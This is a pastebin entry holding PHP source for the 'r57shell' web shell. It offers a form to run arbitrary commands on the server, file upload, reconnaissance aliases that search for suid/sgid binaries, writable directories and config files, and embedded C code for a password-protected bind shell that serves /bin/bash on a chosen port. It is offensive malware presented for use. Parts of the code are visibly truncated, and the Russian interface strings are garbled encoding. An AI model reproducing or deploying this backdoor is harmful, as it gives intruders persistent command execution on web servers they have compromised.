R57
By: niels | Date: Jan 28 2007 14:04 | Format: PHP | Expires: never | Size: 9.51 KB | Hits: 1828
- <?php
- /*
- Âûáîð ÿçûêà
- $language='ru' - ðóññêèé
- $language='eng' - àíãëèéñêèé
- */
- $language='eng';
- 'ru_text1' => 'Âûïîëíåííàÿ êîìàíäà',
- 'ru_text2' => 'Âûïîëíåíèå êîìàíä íà ñåðâåðå',
- 'ru_text3' => 'Âûïîëíèòü êîìàíäó',
- 'ru_text4' => 'Ðàáî÷àÿ äèðåêòîðèÿ',
- 'ru_text5' => 'Çàãðóçêà ôàéëîâ íà ñåðâåð',
- 'ru_text6' => 'Ëîêàëüíûé ôàéë',
- 'ru_text7' => 'Àëèàñû',
- 'ru_text8' => 'Âûáåðèòå àëèàñ',
- 'ru_butt1' => 'Âûïîëíèòü',
- 'ru_butt2' => 'Çàãðóçèòü',
- 'ru_text9' => 'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash',
- 'ru_text10' => 'Îòêðûòü ïîðò',
- 'ru_text11' => 'Ïàðîëü äëÿ äîñòóïà',
- 'ru_butt3' => 'Îòêðûòü',
- 'eng_text1' => 'Executed command',
- 'eng_text2' => 'Execute command on server',
- 'eng_text3' => ' Run command',
- 'eng_text4' => 'Work directory',
- 'eng_text5' => 'Upload files on server',
- 'eng_text6' => 'Local file',
- 'eng_text7' => 'Aliases',
- 'eng_text8' => 'Select alias',
- 'eng_butt1' => 'Execute',
- 'eng_butt2' => 'Upload',
- 'eng_text9' => 'Bind port to /bin/bash',
- 'eng_text10' => 'Port',
- 'eng_text11' => 'Password for access',
- 'eng_butt3' => 'Bind'
- );
- 'find all suid files' => 'find / -type f -perm -04000 -ls',
- 'find all sgid files' => 'find / -type f -perm -02000 -ls',
- 'find config.inc.php files' => 'find / -type f -name config.inc.php',
- 'find writable directories and files' => 'find / -perm -2 -ls',
- '----------------------------------------------------------------------------------------------------' => 'ls -la'
- );
- $port_bind_bd_c="
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <errno.h>
- int main(argc,argv)
- int argc;
- char **argv;
- {
- int sockfd, newfd;
- char buf[30];
- struct sockaddr_in remote;
- if(argc < 3) usage(argv[0]);
- if(fork() == 0) { // Îòâåòâëÿåì íîâûé ïðîöåññ
- remote.sin_family = AF_INET;
- remote.sin_port = htons(atoi(argv[1]));
- remote.sin_addr.s_addr = htonl(INADDR_ANY);
- sockfd = socket(AF_INET,SOCK_STREAM,0);
- if(!sockfd) perror("socket error");
- bind(sockfd, (struct sockaddr *)&remote, 0x10);
- listen(sockfd, 5);
- while(1)
- {
- newfd=accept(sockfd,0,0);
- dup2(newfd,0);
- dup2(newfd,1);
- dup2(newfd,2);
- write(newfd,"Password:",10);
- read(newfd,buf,sizeof(buf));
- if (!chpass(argv[2],buf))
- system("echo welcome to r57 shell && /bin/bash -i");
- else
- fprintf(stderr,"Sorry");
- close(newfd);
- }
- }
- }
- int usage(char *progname)
- {
- fprintf(stderr,"USAGE:%s <port num> <password>\n",progname);
- exit(0);
- }
- int chpass(char *base, char *entered) {
- int i;
- for(i=0;i<strlen(entered);i++)
- {
- if(entered[i] == '\n')
- entered[i] = '\0';
- }
- if (!strcmp(base,entered))
- return 0;
- }";
- ?>
- <html>
- <head>
- </head>
- <body bgcolor="#e4e0d8">
- <table width=100%cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td bgcolor=#cccccc>
- <!-- logo -->
- <font face=Verdana size=2>
- <font face=Webdings size=6><b>!</b></font><b> r57shell</b>
- </font>
- </td></tr><table>
- <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td align=right width=100>
- <?
- /* change dir */
- /* display information */
- echo "<font face=Verdana size=-2>";
- echo "<font color=blue><b>uname -a : <br>id : <br>pwd : </b></font><br>";
- echo "</td><td>";
- echo "<font face=Verdana size=-2 color=red><b>";
- echo "</b></font>";
- echo "</font>";
- ?>
- </td></tr></table>
- <?
- /* port bind */
- if (($_POST['bind']) AND ($_POST['bind']=="bd.c") AND ($_POST['port']) AND ($_POST['bind_pass']))
- {
- $bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']."";
- $_POST['cmd']="ps -aux | grep bd";
- }
- if (($_POST['alias']) AND ($_POST['alias']!==""))
- {
- foreach ($aliases as $alias_name=>$alias_cmd) {
- if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;}
- }
- }
- if (($HTTP_POST_FILES["userfile"]!=="") AND ($HTTP_POST_FILES["userfile"]))
- {
- $_POST['dir']."/".$HTTP_POST_FILES["userfile"][name])
- or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES["userfile"][name]."</div></font></td></tr></table>");
- }
- ?>
- <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td bgcolor=#cccccc>
- <?
- /* command execute */
- if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="ls -la"; }
- echo "<font face=Verdana size=-2>".$lang[$language._text1].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td>";
- echo "<b>";
- echo "<div align=center><textarea name=report cols=122 rows=15>";
- echo "</textarea></div>";
- echo "</b>";
- ?>
- </td></tr></table>
- <table width=100% heigth=0 cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text2]; ?> ::</div></b></font></td></tr>
- <tr><td height=23>
- <?
- /* command execute form */
- echo "<form name=command method=post>";
- echo "<font face=Verdana size=-2>";
- echo "<b> ".$lang[$language._text3]." <font face=Wingdings color=gray>è</font> </b>";
- echo "<input type=text name=cmd size=85> <br>";
- echo "<b> ".$lang[$language._text4]." <font face=Wingdings color=gray>è</font> </b>";
- if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; }
- else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; }
- echo " <input type=submit name=submit value=" ".$lang[$language._butt1]." ">";
- echo "</font>";
- echo "</form>";
- ?>
- </td></tr></table>
- <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text5]; ?> ::</div></b></font></td></tr>
- <tr><td>
- <?
- /* file upload form */
- echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
- echo "<font face=Verdana size=-2>";
- echo "<b> ".$lang[$language._text6]." <font face=Wingdings color=gray>è</font> </b>";
- echo "<input type=file name=userfile size=85> ";
- if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
- else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
- echo "<input type=submit name=submit value=" ".$lang[$language._butt2]." ">";
- echo "</font>";
- echo "</form>";
- ?>
- </td></tr></table>
- <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text7]; ?> ::</div></b></font></td></tr>
- <tr><td>
- <?
- /* aliases form */
- echo "<form name=aliases method=POST>";
- echo "<font face=Verdana size=-2>";
- echo "<b> ".$lang[$language._text8]." <font face=Wingdings color=gray>è</font> </b>";
- echo "<select name=alias>";
- foreach ($aliases as $alias_name=>$alias_cmd)
- {
- echo "<option>$alias_name</option>";
- }
- echo "</select>";
- if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
- else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
- echo " <input type=submit name=submit value=" ".$lang[$language._butt1]." ">";
- echo "</font>";
- echo "</form>";
- ?>
- </td></tr></table>
- <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text9]; ?> ::</div></b></font></td></tr>
- <tr><td>
- <?
- echo "<form name=bind method=POST>";
- echo "<font face=Verdana size=-2>";
- echo "<b> ".$lang[$language._text10]." <font face=Wingdings color=gray>è</font> </b>";
- echo "<input type=text name=port size=15 value=11457> ";
- echo "<b> ".$lang[$language._text11]." <font face=Wingdings color=gray>è</font> </b>";
- echo "<input type=text name=bind_pass size=15 value=r57> ";
- if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
- else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
- echo "<input type=hidden name=bind size=1 value=bd.c>";
- echo " <input type=submit name=submit value=" ".$lang[$language._butt3]." ">";
- echo "</font>";
- echo "</form>";
- ?>
- </td></tr></table>
- <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
- <tr><td bgcolor=#cccccc>
- </td></tr></table>
Latest pastes
2 hours ago
1 days ago
1 days ago
2 days ago
2 days ago